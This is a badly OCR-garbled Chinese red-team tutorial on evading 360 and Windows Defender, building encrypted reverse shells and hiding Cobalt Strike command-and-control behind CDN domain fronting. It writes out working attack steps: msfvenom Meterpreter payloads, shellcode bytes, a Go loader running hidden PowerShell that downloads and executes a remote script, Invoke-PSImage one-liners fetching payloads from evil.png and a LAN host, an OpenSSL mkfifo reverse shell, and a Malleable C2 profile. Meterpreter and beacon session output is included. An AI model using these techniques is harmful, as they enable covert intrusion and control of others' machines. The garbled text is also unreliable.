
© Undetected

1"

Si

L]
=}
EXE



1.9. Cobalt strike #3%iT 360 F1 Windows Defender

Advanced AV Evasion £ 4T A #J shellcode % 3= /m 2 £ &8 # 3 360 Fu 45 #%
Defender [ 37 #X 14

! B Payload Generator — O X

-

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available. ~

[=
| output: [c# - |

i Listener: ’ss

i X64: [7] Use x64 payload

| Generate || Help |

o #H20-%5-1y0nc.. —

#4T1-GetProcAddress

FFEPID:

ERy/E:
wEEER:
® x O BEX

, 0x84, Oxa5, 0x7a, 0x49, 0x34, 0x71, 0x00,
, Oxbe, 0xf0, Oxb5, Oxa2, 0x56, Oxff, 0xd5,

, 0x31, 0xc9, Oxba, 0x00, 0x00, 0x40, 0x00,
, Oxb8, 0x00, 0x10, 0x00, 0x00, Ox41, Oxb9,
, 0x00, 0x00, 0x00, 0x41, Oxba, 0x58, Oxa4,
, Oxe5, Oxff, 0xd5, 0x48, 0x93, 0x53, 0x53,
, 0x89, Oxe7, 0x48, 0x89, Oxf1, Ox48, 0x89,

KRR E £ %



DN E=Z¢ BEPL B0 e B

extemal internal ~ Iistener user computer note process pid arch Iast
T8 192.168.0.133 192.168.0.133 ss Administrator * WIN-263VDOCSOL4 111.exe 4960 64 4s
KH 1921680194 192.168.0.194 ss Administrator Win10-2020UKCIU 111exe 6636 64 485

7 L3t windows defender

111.exe

E windows Defender

HBEAS: SEP

S35k 1 MREREE,
AR | TEREIEE MR,
(R ER SIS EURIA,

1.10. msf MNIBFERFiT 360 RELTD 150 360 RERE

Ti B e 4t https://github.com/bats3c/darkarmour

LA AT:

sudo apt install mingw-w64-tools mingw-w64-common g++-mingw-w64
gcc-mingw-w64 upx-ucl osslsigncode

Msf A RET]

msfvenom —p windows/x64/meterpreter/reverse tcp LHOST=192. 168. 0. 180
LPORT=4444 —-f exe -o exploit. exe

PAT A 4

J/darkarmour.py -f exploit.exe --encrypt xor --jmp -o e.exe --loop 5

1048 x 299
msf5 exploit( ) > exploit
on 192. 0.180:4444
g to 192.168.0.194

Meterpreter session 4 opened (192.168.0.180:4444 — 192.168.0.194:50009) at 2020-10-08 22:

meterpreter > ifconfig

Interface 1



EEEEEERI879 x 755

AVASTI 18.4.3895.0

AVG 10.0.1405

Alyac 17.7.13.1

Arcabit 10

Authentium 465

Avira 1920

Baidu Antivirus 2010

Bitdefender 7.141118

ClamAV 25949

Comodo 6.5.0.819

Cyren 6.004

Defenx 11.144.35381
Dr.Web 11.0.10.1810231600
F-PROT 462117

F-Secure 2015-08-01-02
Enrtinat 1 0NN 74 Q0Q 71 QA4 71 QRO

17.7.131
1.0
53.14

1.9.159.0

4.1.3.52192

7.141118

0.100.2

5.5.0.819

JJJJJ

11.0.10.1810231600
6.5.1.5418

9.13

R A 2A7

1.11. Cobalt strike #3%iT 360 F1 Windows Defender

TRTREE go B E ARERP, FA go B AN AEERNBAELZLRD .
PAELERRE FPAZTTULE . 4 KA B 30E TR A
https://github.com/diljith369/avbypassGo#tsimple-antivirus-bypass-technique

FHE FIF go BEH emd $ATZAE T 2 powershell 1]

main

(
“fmt"
"os/exec"
“syscall”
)

func main() {

cmd exec.Command(“PowerShell”, "-Command”, "IEX ((new-object net.webclient).downloadstring( 'http://192.168.0.117:80/payload.psl’))")

cmd.SysProcAttr syscall.SysProcAttr{HideWindow: true}

err cmd. Start()
err {
fmt.Printf("something went wrong %s", err)

fmt.Println("Successfully™)

AN 6 BOR AR Y s BT




%% > go build bypassav.go
360 2 HER MATE T E&

¥ [@JI FE avbypassGo-ma:

| fz2E2m | 2z [ A5

=ErE X

2,08

BXESIERFIDESET , ENELE

RBEERE : B¥ C:\Windows\System32
\WindowsPowerShell\v1.0\powershell.exe

RISINZ : PowerShel FEHE

ATERN EN=E , inBESARIER | EEIEHRE,

AEE siFET | FRIBET (28)

Windows Defender To1E &~ 7 LA F 4

EiR g0 FE Edpas prizs =
- > AR (C)
B EXaE =Sl o

R Go EH Windows Defender

| HwsHostMaster

" inetpub

of PerfLogs

of PHP5433

Program Files
Program Files (x86)
Windows
2% (D:) SS¢ B
[#5] bypassav.exe

Bk 1 MNaBErRkE,
FREEIRT  ERAEE LR MR AR,
RESEEBETE AR BIP,

<)

4 mimikatz.xsl

) TETER H



iH Cobalt Strike View Attacks Reporting Help
OB O E=¢ 8 PU EeBEEH o B G

external inter... -~ listener user computer note proc... pid arch last
B 19216... 192.16... list1 Adminis... WIN-3H3HFDBJLOU pow... 2428 X86 41s
B 10216... 192.16.. list1 Adminis... WIN-3H3HFDBJLOU pow... 2788 X86 10s

Adminis... WIN-FHOQSBS51A6Q

EventLog X | Listeners X | Screenshots X | Screenshots X | Sites X | Beacon 192.168.0.124@5556 X
* Username : WIN-FHOQSB51A6Q$
* Domain : WORKGROUP

* Password : (null)

kerberos :
* Username : win—fhoqsb51a6q$
* Domain : WORKGROUP

[WIN-FHOQSB51A6Q] Administrator */5556 last: 3s

T N

1.12. Invoke—PSImage % RiT 360 RF

Invoke—PSTmage 1] L — PowerShell JIASH (1= #x N3] PNG EMZ ST
IR, FFAE AT AT a2 KRB B RA T SCAFEL Web (f&ii-Web FRid) 4
refl. EsMAHBE AP ENMEER S E)G 4 60 R E) 2 A B AR K A7 %
Payload ##5, HEAREIF BIESZ B, HE2 Bkl RE A HRAZ KX
(). B 7 A7 1 9 PNG #8320, BT Payload #lE A fE BB, PRI Fhkg
AT LU AT R R 46 9 HAA 2 2 ma 2 Payload AT ‘B0 DABESZ H AT 4K 2 40
(1 B R B N (B8 200k PNG A& 2, BRI Ddan %) P 50 75 2 2 a0
[

B B8 — MR A T EAE A B — 775, I DR 5 ZE AR B A o B = 1 4
P RARIGFEE  (RATREZ MR R D o BN, Invoke-Mimikatz 7F % —K
1920x1200 [ & v KAk o

Invoke—-PSImage F#X https://github. com/peewpw/Invoke-PSImage

cs A il powershell shellcode

Set-ExecutionPolicy Unrestricted —Scope CurrentUser
Import-Module . \Invoke-PSimage. ps1

Fe A


https://github.com/peewpw/Invoke-PSImage

Invoke-PSImage ~Script . \payload. psl -Image .\test. jpg —Out .\test2.png —Web

Az BARAT D

sal a New-Object;Add-Type —AssemblyName “System.Drawing”;$g=a

System. Drawing. Bitmap ((a

Net. WebClient). OpenRead ("http://example. com/evil. png”)) ;$o=a Bytel[]
3840; (0. . 1) |%{foreach ($x

in(0..1919)) {$p=9%$g. GetPixel (§x, $ ) ;$o[$ *1920+$x]=([math]: :Floor (($p.
B-band15) *16) -bor ($p. G —band

15))}}; IEX([System. Text. Encoding]: :ASCII. GetString ($0[0..3534]))
http://example. com/evil. png & A A I B T 4dE

= B EFAT

sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a
System.Drawing.Bitmap((a
Net.WebClient).OpenRead("http://192.168.0.127:80/test2.jpg"));$0=a Byte[]
3840;(0..1)|% {foreach($x

in(0..1919)){$p=%g.GetPixel($x,$ );$0[$ *1920+$x]=([math]::Floor(($p.B-band15)*
16)-bor($p.G -band

15))} };IEX([System.Text.Encoding]:: ASCIL.GetString($0[0..3534]))

AR 360 £4 T+ 360 K EFN 4L EATHE T~ Windows Defender & & 51

360K B TEAERIPEIIRS: ! N
EReRETE 1345 X R/ EIO)RR, 17
\> R S 5558, 6 /NEERE

—


http://example.com/evil.png

B cobalt Strike - [m} X
Cobalt Strike View Attacks Reporting Help
OO O E=¢ BEFL wBD ca B

external inter... ~ listener | user computer note process | pid arch last

S~ 19216 192.16... list1 Adminis... WIN-3H...

1.13. MSF 23 360 2T+ Re RS

metasploit & — K TR HY L2 JFFE AN T A, [F 8 Metasploit & % 5oy T A,
% 2 T 1F A R % A Metasploit T B 5k to JIl & 41 89 & 4 £ . Metasploit
Framework (MSF) £ 2003 4 LLFF IR 77 X & A7, 20 DL E sk B IT R A2 R
vrR—ANBRAWNITETE, #IT R, WA ERAEERE, XAIFIE RS ENR,
shellcode %/ 5 MUREM AT — 7 £-F &, HF K EHH A&k (Payload) ,
EAFRANAFFE, ERAXMRERNE], TREXFLHTFE, MHE
Metasploit & & % 4 i 25 4% 3% (Encoders), 4 ik Ja 180, X H#ATRAHEHE, 7 DL
REGE— W RERM. B A msf 5 5 094 8 25 fu o RAEAR A R R gL L
360 2 ERFRH
Cooolis #5511 360 2%, XEBEAM—ATE, T ULH3602FE, THEHKKX
MWL ATE, BE 8y # Ak https://github.com/Rvn0xsy/Cooolis-ms/

R BPATRAE:

1. # ¥ Cooolis-Server

2. Cooolis-Server # # Metasploit RPC Ak %3

3. BUE Payload % /5 & 3% F n 8 &

T #IE4T docker

git clone https://github.com/Rvn0xsy/Cooolis-ms.git
cd Cooolis-ms/Docker

docker-compose up -d

JE 7] Metasploit RPC At 4 2
msfrped -U msf -P msf -u /api/1.0/ -a 127.0.0.1

B2 B Metasploit ¥ 77 &

msf5 > use exploit/multi/handler

msf5 > set payload windows/meterpreter/reverse tcp
msf5 > set LHOST 10.20.56.41



msf5 > set LPORT 8876
msf5 > exploit -j

J& 71 Cooolis-ms &/ 3t
Cooolis-ms.exe -p windows/meterpreter/reverse_tcp -0
LHOST=10.20.56.41,LPORT=8876,Format=dll -H 10.20.56.41 -P 8899

2. REMER

2.1. {&H Openss| RN shel |

ANHTHBENRWEEZSENBN T ARR, EAFEETSE, £142
W E R # shell, R K # shell #2 FAFhr, A2 WM EH IDS 50 3 24
SHMATREHAT N, RNFHRFHE, REMHLI, wRERTZEREE
W, U EAKEWEE., kIOl K 2B REk, BN NTEHEE
1k,
# F wireshark MM B HEFEEH M NN G4 FEEHER XLLRG4A2WIT K
B ips Bl FTUAEX X BE RHTRERNE
XHHE) WiEE) MEN) HEG) RO SWA) SGitS) ®EIEY) TE ”iel‘(hlo) #B(H)
AODOA® + BR@ a ¢« >0 « >»HB E oo o[@

N tcp.streameqOq

No. Time Source Destination Protocol Length Info
51.333669819 10.10.10. 10.10.10. TCP 82 2233 —~ 58100
.333725798 .10.10. .10.10. 66 58100 — 2233
.335658685 .10.10. v18:100 2862 58100 — 2233
.336226963 .10.10. s19216% 66 2233 —~ 58100
.336255095 .10.10. .10.10. 68 58100 — 2233
533866429 .10.10. .10.10. 66 2233 —~ 58100

fd 40 00 80 06 8f a2 Pa Pa Oa Oa DA

b9 e2 f4 f6 7b 5d a4 76 fc 50 18 8 A

df 00 00 01 @1 08 Pa 00 1d a3 2d % a- -

61 74 20 2f 65 74 63 2f 70 61 cat /e tc/passw
d




XfHE) “mis(E) HEY) PRRG) © #H(A)

ADA® +RBR a <

N tcp.stream eqOq

r(S)

> N

« > B B

No. Time Source Destination
.333669819
.333725798
.335658685
.336226963
.336255095

533866429

Protocol

Length Info
82 2233 — 5810¢€
66 58100 — 223:
2862 58100 - 223
66 2233 —~ 5810€
68 58100 — 223:Z
66 2233 — 5810¢

Timestamp echo reply: 1942369
fc ya
(OF: g

Ps-{]

:0:0:roo0
t:/root: /bin/bas
h-daemon :x:1:1:d
aemon:/u sr/sbin:
/usr/sbi n/nologi
n-bin:x: 2:2:bin:
/bin:/us r/sbin/n
ologin-s ys:x:3:3

T HALF % £, OpenSSL & — A~ JF kIR R A B9 2 PF e 6L, AL A AR 7 o] DL
RARANBRATEZEEE, BEGT, FNELT SmEEEFN 0. TNES
Z AR AR B B WY P TR 448 £

4 '
aroot:x

Z kali EEH OpenSSL & & B & LiEH
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

ZE kali F v o

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

7 B AR L HAT KB shell 44
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&l

10.10.10.129:8080 > /tmp/s; rm /tmp/s

| openssl s client -quiet -connect

connect:errno=111
# mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -q
uiet -connect 10.10.10.131:8080 > /tmp/s; rm /tmp/s
Can't use SSL_get_servername
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O =
verify return:1

Internet Widgits Pty Ltd




pulse:x:123:130:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:124:132:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:125:133:: /var/lib/saned:/usr/sbin/nologin
inetsim:x:126:135:: /var/lib/inetsim:/usr/sbin/nologin
colord:x:127:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:128:137:: /var/lib/geoclue:/usr/sbin/nologin
lightdm:x:129:138:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:130:139:: /var/lib/king-phisher:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.130 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::20c:29ff:fe20:421 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:20:04:21 txqueuelen 1000 (Ethernet)

RX packets 65 bytes 9644 (9.4 KiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 54 bytes 11716 (11.4 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 6 bytes 340 (340.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 6 bytes 340 (340.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions 0

ME AL M

LIV

ADA® +RB@ 2 < >0«>WE oooM

N tcp.streameq0

No. Time Source Destination Protocol Length Info
1 0.000000000 104 8080 — 51598 ACK] St
2 0.001881525 .10. .10.10.131 2884 51598 -~ 8080
3 0.002243965 66 8080 — 51598
4 0.002268568 90 51598 — 8080
5 0.002489210 66 8080 — 51598

2884 bytes on wire (23072 bits),

40

1F

00 M
03 O&L- -9
ff Vv g
b8 3V gbi's
ac r I\ k- -k
67 LM--g--f K-M--P(#
fd 1 8.qN_R-Z
8a n I [1--9>B
ds 3 > sR

0
Yt
)

2.2.  MSF BN Sres

AT EENBANE, AERBIWARTERXFREFITTE, £11A
koM EERERAE, SHTNERE, WEITHFIE. THFE, & metasploit 7
AR BAETS &R, XLREREZREHLN K, FTUBTFRENS, Rk
B w1 TEA k.

OpenSSL £ SSL/TLS if #



openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \

-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \

-out www.google.com.crt && \

cat www.google.com.key www.google.com.crt > www.google.com.pem && \

rm -f www.google.com.key www.google.com.crt

ERETT

msfvenom -p windows/meterpreter/reverse winhttps LHOST=192.168.0.117
LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem
StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o
pentestlab.bat

# msfvenom -p w1ndows/meterpreter/reverse winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert
ySSLCert true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
b platform was selected, choosing Msf::Module::Platform::Windows from the payload
b arch selected, selectlng arch: x86 from the payload
Loder or badchars specified, outputting raw payload

hd size: 800 bytes

size of psh-cmd file: 7823 bytes

as: pentestlab.bat
z # 11

REWTE

EMTERAFEERFAW LI XEHT @5 ER 7 -
W (BARAEAMED , FEERE|EERHAT SSL AL+ Kk,
HandlerSSLCert
StagerVerifySSLCert

set payload windows/meterpreter/reverse_winhttps

set LHOST 192.168.0.149

set LPORT 443

set HandlerSSLCert /home/kali/msf/www.google.com.pem
set StagerVerifySSLCert true

exploit

msf5 exploit( ) > exploit

Meterpreter will verify SSL Certificate with SHA1l hash e6cc7ccdc7d76bdafaasb52258932fed75ae82f7
Started HTTPS reverse handler on https://192.168.0.149:443

$://192.168.0.149:443 handling request from 192.168.0.133; (UUID: hmbreqgx) Meterpreter will verify S§
32fed75ae82f7
://192.168.0.149:443 handling request from 192.168.0.133; (UUID: hmbreqqx) Staging x86 payload (17724
Meterpreter session 2 opened (192.168.0.149:443 — 192.168.0.133:50158) at 2020-09-12 22:51:50 -0400

meterpreter > getuid

Server username: WIN-263VDOCSOL4\Administrator
meterpreter > shell

cProcess 4648 created.

MEHFELCELEME




AW © m [ (X [ EEZPLISE RS

N [tcp.stream eq Oqaqq

No. Time Source Destination Protoco ¥ Length Info

219 -8.539254799 192.168.0.133 192.168.0.149 TCP 60 50159 — 443 [ACK] Seq=3615 Ack=1912 Wi

234 -5.316391949 192.168.0.133 192.168.0.149 TCP 60 50159 —~ 443 [ACK] Seq=3893 Ack=2059 Wi

265 -2.023121221 192.168.0.133 192.168.0.149 TCP 60 50159 ~ 443 [ACK] Seq=4171 Ack=2206 Wi
- 1 -39.340775241 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

-39.340321781 : .0. s B 201 Application

29 -37.309381629 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

30 -37.308977200 192.168.0.149 192.168.0.133 TLSvi.2 201 Application Data

4@ -35.204971006 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

41 -35.204561561 192.168.0.149 192.168.0.133 TLSv1.2 201 Application Data

7@ -32.992321781 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

71 -32.991942851 192.168.0.149 192.168.0.133 TLSvi.2 201 Application Data

75 -30.685810957 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

76 -30.685411750 192.168.0.149 192.168.0.133 TLSvi.2 201 Application Data

87 -28.269927943 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

8§ -28.269523698 192.168.0.149 192.168.0.133 TLSvi.2 201 Application Data

9@ -25.762991880 192.168.0.133 192.168.0.149 TLSv1.2 332 Application Data

91| -25.762581839 192.168.0.149 192.168.0.133 TLSvi.2 201 Application Data

Frame 2: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface eth®, id ©
Ethernet II, Src: VMware_05:5d:2f (00:0c:29:05:5d:2f), Dst: VMware_16:02:c8 (00:0c:29:16:02:c8)
Internet Protocol Version 4, Src: 192.168.0.149, Dst: 192.168.0.133

Transmission Control Protocol, Src Port: 443, Dst Port: 50159, Seq: 1, Ack: 279, Len: 147
Transport Layer Security

vyvvwvww

MRS B BAT A ESATH AR =2, — A & #9 MeterMeter & 1 47
T, ERTAFENNCGHEH A S EHE AT EE.

2.3. IHBIE cobalt strike REEE IDS BHit

.5 & (Domain Fronting) # T HTTPS i JF ML # & A, 4 #R Hy 280 35 M
K EH A K & —FF A K P& Metasploit, Cobalt Strike 2 Fl A = %] L & B &,
DL R — A2 B e i & 25 B K 3Gl 9 K, 47 Amazon ,Google, Akamai
ERA BERME— LA HEARS
2.3.1. HATERARE

Wit CON W EBRER LB ELH C2 R4 %, £+ CDN ¥ & ip # 1R |
HKE Host k1T EH A, AARINHREBLHNEHEE, wRINTURKE
—/NERE T4, W LUE e Sk DLP, agent & M. EET




BET B BN

— S
CDNY &=
B )
WIEHEIEN CDNTI &
C2fRFE 2
L S—
CDNT 8

2.3.2. T{ERHE

BET BB L& cdnedn 2R T/ERIE £ . \
6] — AN 1P B UG A 6] B 38 % SEAT 40 € S8 T 64T MU st i3, | i B AE & > W o
27 & www.a.com 7 www.b.com #45 F [F —/~ IP 123.123.123.123 XA ip L%
PR E& cdn A2 . 2% 5 297 1] www.a.com B, www.b.com #Y Bt {E /& 4 R IE
7 |51 B9 B AR A2 IE % B 2 38 2 B W 3k 9 2, XN ETE B B 2 HTTP 5 5K & B 42 host
LA F B o
gi3awﬂmms%ﬂlumw%%mﬁ4W%$i%ﬁ%4ﬁ%


http://www.b.com

IPEL I ET1H)

36.99.196.218 X

E2iFfcomd25T top107T cn187Txyz127c 5PV 100/3011E15H]
I &5QQ:1073353388

Crams S8 s HATERE S

‘ “é)vu.«cu NETWORK TI m E ,‘;é E ﬁ

= i7Es {SPH B8

36.99.196.218 _LRIMIAL

eSS

www.xue338.com 2020-07-16-----2020-09-01
www.phb123.com 2020-07-21---- 2020-09-01
zckgd.zhongchaojiazu.com 2020-07-30-----2020-09-01
tusn.suzardesign.com 2020-07-31--—- 2020-09-01
sp1.kkr5.com 2020-08-02-----2020-09-01

www.phb123.com www.xue338.com #f2iX 4~ cdn R % & F YR 4 W B X A5,
GAEHE T B4 AT cdn friE



http://www.phb123.com
http://www.xue338.com

v, phb 12 om w. kunlunhuf. com
111. 12 )
13126 17
151513
151513
151513
151513
151513
151513

Administrator
InKnos

)], kunlunl0 ,H], kunlunl. cnl9

T curl EH I8 E CDN # IP 45 & host % www.xue338.com



http://www.xue338.com

port 80 (#0)

0,H], kunlunll.

‘xhtml 1/DTD/xhtml 1-tran:

| E A AR A DL 5] www.xue338.com 3 4 BB A &,
B — > cdn 7 8] 7 B B9 B3k 7E host Am _E AR 7 5] B3 % iE 5Kk Sk, odn gt FT DL Ao
BARG WAL HATEE, R/ E N ITAA A,
%777 [7] www.phb123.com X /Mg 4 B &, SEFR B2 17 E B — edn R %2, ©
B ip 4,2 36.99.196.218 AT LA AT o ®] LA #F 177 [] 4 (]



http://www.xue338.com
http://www.phb123.com

om -H “Host: s

77, 0], kunlunl.cn1427[0

T wget B4 ip £ % f 38,4 www.phb123.com [ % www.phb123.com .2 3§ & cdn
JR %25 BT LL www.xue338.com V7 7] B 0 2 IE F  2L.
BAEEMAEETXANERE, TUERMNTUR F e ENRweEl
microsoft baidu.com google.com amazon.cn AWK KK 4, AEEiERELEME
XM E ARG, FIEAE cdn RE-#F, FrUL cdn - &2 T8 IP, ATUL C2
Fi 55 25 B9 FLSE A ip 2t B BB

2.3.3. HATE Lk

PR3 cobalt strike 4.0 MM kali

X, E# . Amazon ¥ cdn = iR %,

EE EEAFEM cdn ZmEMFERLHTEE, WREHAX NS EFF
RAEM LD EFEHIRL,

ZEUXZM— A EA T

BREE —NCEEXZEERNEL £ cdn RS AL bR
https://dcdn.console.aliyun.com/overview

RRELEFNE L FRERLE XER2ETHRAT TS .

|



15 AR c2 FR -2 B L 5K ip

IRIEELE X
mms w=m
ossEE P A mome
P GEE EEEER
158.247.193.116 = v/
Em
&0
80301 443200 A S v
SEVEEEONEEHTIPIY: CESRseTBSBEIN T
WERESETAHTIP, AESEnTVEL, NE=SnTVEE:
OZ3SHTTPS, S8 T H&iE,

% E %k 5 CNAME .4 2 34T CAME 41 &
FEBGC R mazibao.vip X

“pea . CNAME - SiESERSI—INES hd

EHNEER:  WWwW .mazibao.vip ?

BRIFLRRE . FOA - iR | RILECE/ERERRITELRERT |, JBE] [SUA] £EREESE - ?

SE5ME:  Www.mazibao.vip.w.kuniuncan.com
TTL: 278 =
S7EMERE ‘ B= ‘

RETZME —BEFR2ERK.
T A% ping MR cdn 8 ip £ & IF & http://ping.chinaz.com



oy HRIP IPAEHE IR TTL e

I3 7EERE] iSRS BE 17ms 55
IRIEXEGE] IIEaim BE 15ms 55
TEER[EE] THLERRET BfF 39ms 52
T FRIEBE] WEREFEH BB 30ms 55
I EMIEE]
IF&MEE IHERES BiE 29ms 52
TEF L[S IIFERNE BE 18ms 50
B TR/REBE] 240.154.102 HEEARET BREIDGIE 26ms 55
IERRYIESE] IRETEH BE 21ms 46
IEMEBE] IIrE7E BiE 5ms 55 | /Fo3B(
I &EHOMNERE
)| ZPE[EfE]
IIEEEE] Ba(EH) - - - [E=FEE] 168G

AHAQEEERT . EBTRBARE cobalt strike

2.3.4. cobalt strike IWEIBEC B

&2 C2 Y profile B2 & U, 7 https://github.com/xx0hcd/Malleable-C2-Profiles
ik £ 43 B9 profile U 7% host Sk 4 FATH E & 47 #9384

#

# Amazon browsing traffic profile

#

# Author: @harmjOy

#

set sleeptime "5000";

set jitter "0";

set maxdns "255";

set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko";

http-get {
set uri "/s/ref=nb_sb noss_1/167-3294888-0262949/field-keywords=books";

client {



header "Accept" "*/*";

header "Host" "www.mazibao.vip";

metadata {
base64;
prepend "session-token="";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

header "Cookie";

server {

header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-1d-2"

"a21yZ2xrNDNtdGRsa212bGV3Y W85amZuZW9ydG5rZmRuZ2tmZGl4aHRVNDV

_n.

pbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";

output {
print;
}
}
h
http-post {

set uri "/N4215/adj/amzn.us.sr.aps";

client {



header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";

header "Host" "www.mazibao.vip";

parameter "sz" "160x600";

parameter "oe" "0e=ISO-8859-1;";

id {

parameter "sn";

parameter "s" "3717";

output {
base64;
print;
}
}
server {

header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T420ZT";
header "x-amz-1d-2"

"a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDV

_n.

pbgo=";
header "X-Frame-Options" "SAMEORIGIN";

header "x-ua-compatible" "IE=edge";

output {

print;



7 kali _FiE4T teamserver 7n R E 4

sudo nohub ./teamserver 158.247.193.116 xxxxxa222 cdn.profile

nohub ME— M AR EH, RA4TEWHZAT G4 T4 shell BT T cs 4.4
EET L,

LEZATRA e ELTRE K&

# # payload beacon https

https hsots & # = cdn # ip

Hisayciit_uoou

B edit Listener @Elg

Create a listener.

Name: |cdn |

Payload: lE‘-eac on HTTPS v ‘

Payload Options

HTTPS Hosts: 122.193.130.76 L@ |
36.102.212.83 |

222 85.26.222 %
183.6.231.204

183.6.231.204

HTTPS Host (Stager):

Profile: [default v

HTTPS Port (C2):  [443

HTTPS Port (Bind): |

HTTPS Host Header: |

[—

HTTPS Proxy: [

| save || Heip |

KR TTHEAT U3



|
i B Scripted Web Delivery (S) Ie =) l-ﬁh' ‘
e ——————————

~

This attack hosts an artifact that delivers a full Cobalt
Strike payload. The provided one-liner will allow youto ~

URIPath: |/a ]
Ry 158 247 193 116) j
Local Port: [80 ]

Listener: fcdn H }

Type:  |powershel - |

x64: [ Use x64 payload

| Launch || Heip |

ZANRBERE, TURELMRS L T ZRAE 2 ETRAZH ip st
EHRT. BAKYE LEAER, HEIER.

- .. P A T T

B Cobalt Strike  —
'Cobalt Strike View Attacks Reporting Help.
O QEH=Z¢ BILU FwED Pa B

T3 47.74.160.9

T



[M]Apply = display filter = <Ctrl-/

¥o. | Tine |source | Destination |Protocel [Length [Host | Info

31 2.447722 192.168.0.133 222.85.26.222 TLSv1 587 Application Date

32 2.479201 222.85.26.222 192.168.0.133 TCP 60 443 » 59275 [ACK

33 3.232630 TLSv1 571 Application Date
TCP 54 59275 » 443 [ACK
TLSv1 571 R

TCP.
5 Tcp 50276 » 443 [SY)
39 8.392348 122.193.130.76 192.168.0.133 TcP i 443 > 59276 [SY)

40 8.392372 192.168.0.133 122.193.130.76 TCP 54 59276 - 443 [ACK
41 8.392601 192.168.0.133 122.193.130.76 TLSVL 190 Client Hello
42 8.393925 122.193.138.76 192.168.0.133 TcP 60 443 > 59269 [FII
43 8.393938 192.168.0.133 122.193.130.76 TCP 54 59269 - 443 [ACK
44 8.425266 122.193.130.76 192.168.0.133 TCP 60 443 > 59276 [ACK
45 §.428844 122.193.130.76 192.168.0.133 TLSVL 199 Server Hello, Ct
46 8.429123 192.168.0.133 122.193.130.76 TLSVL 113 Change Cipher S
47 8.430270 192.168.0.133 122.193.130.76 TLSVL 587 Application Date
48 8.463547 122.193.130.76 192.168.0.133 TCP 60 443 > 59276 [ACK
49 9.220039 122.193.130.76 192.168.0.133 TLSVL Application Date
0941998 921680 27-193-130-76 P 59276 - 443 [ACK
122.193.130.76 192.168.0.133 TLSvL 571

51 9.453351
5 3388 122.193.13¢

12.168.0.1 239.2.2.2@ SDP 2 239.255.255,250:1900

3 9.524239

54 10.339013 192.168.0.126 192.168.0.255 UbP 157 Len
55 10.525247 192.168.0.106 239.255.255.250 SSDP 219 239.255.255.250:1900 M-SEARCH * HTTP,
56 11.526230 192.168.0.106 239.255.255.250 SSDP 219 239.255.255.250:1900 M-SEARCH * HTTP,
57 12.527053 192.168.0.106 239.255.255.250 SSDP 219 239.255.255.250:1900 M-SEARCH * HTTP,
58 13.195441 fe80::5c7:647a:77c:... £f02::1:2 DHCPv6 157 Solicit XID: @xi

2.4. cobalt strike £RMIEHEX C2 profile HEMBEE

cobalt strike =R £ LA By LB B E M4, & APT 77 B JLF A & BAR
S, REZF2BINA G ERZATAHAT APT, AREF., FERS ids A Z
R TAFfRERNTAECETUERM LI, FAERETE, wREHRIA
WEHHATZ RN, FAEGEREWIRT, FTEZKE A R¥ o, H
HUEHZBR, HRERNERFHTER, RMKEHFEELEEER, TER
e D ERS o #TBE MLALRNZ WK ER 2T ERR, KEITXIREE
H 2
REMFERMECERANALINGERES, &£ KILH B R C2 profile /n & #E
LRt EREME i, BRRRRELLFIT, FELNE.

AR ER I

kali cobalt strike4.0

2.4.1. £ B ss| IEH

FE 15 1T cobalt strike 2k I\ 1 JF #9 cobaltstrike.store iE #, & K FILH N E X ZHE
Bl BATIAE & E 7 89IE+ . BRIAFIE 4 cobalt strike #4602 4 A% E
Hey— g b,



I8 =2

aliasSfR kstore
keypass init123
g% RSA
HAAKE 2048
ERER(ER) 30
BFRE ftmp/kstore keystore
storepass init234

thizaa-
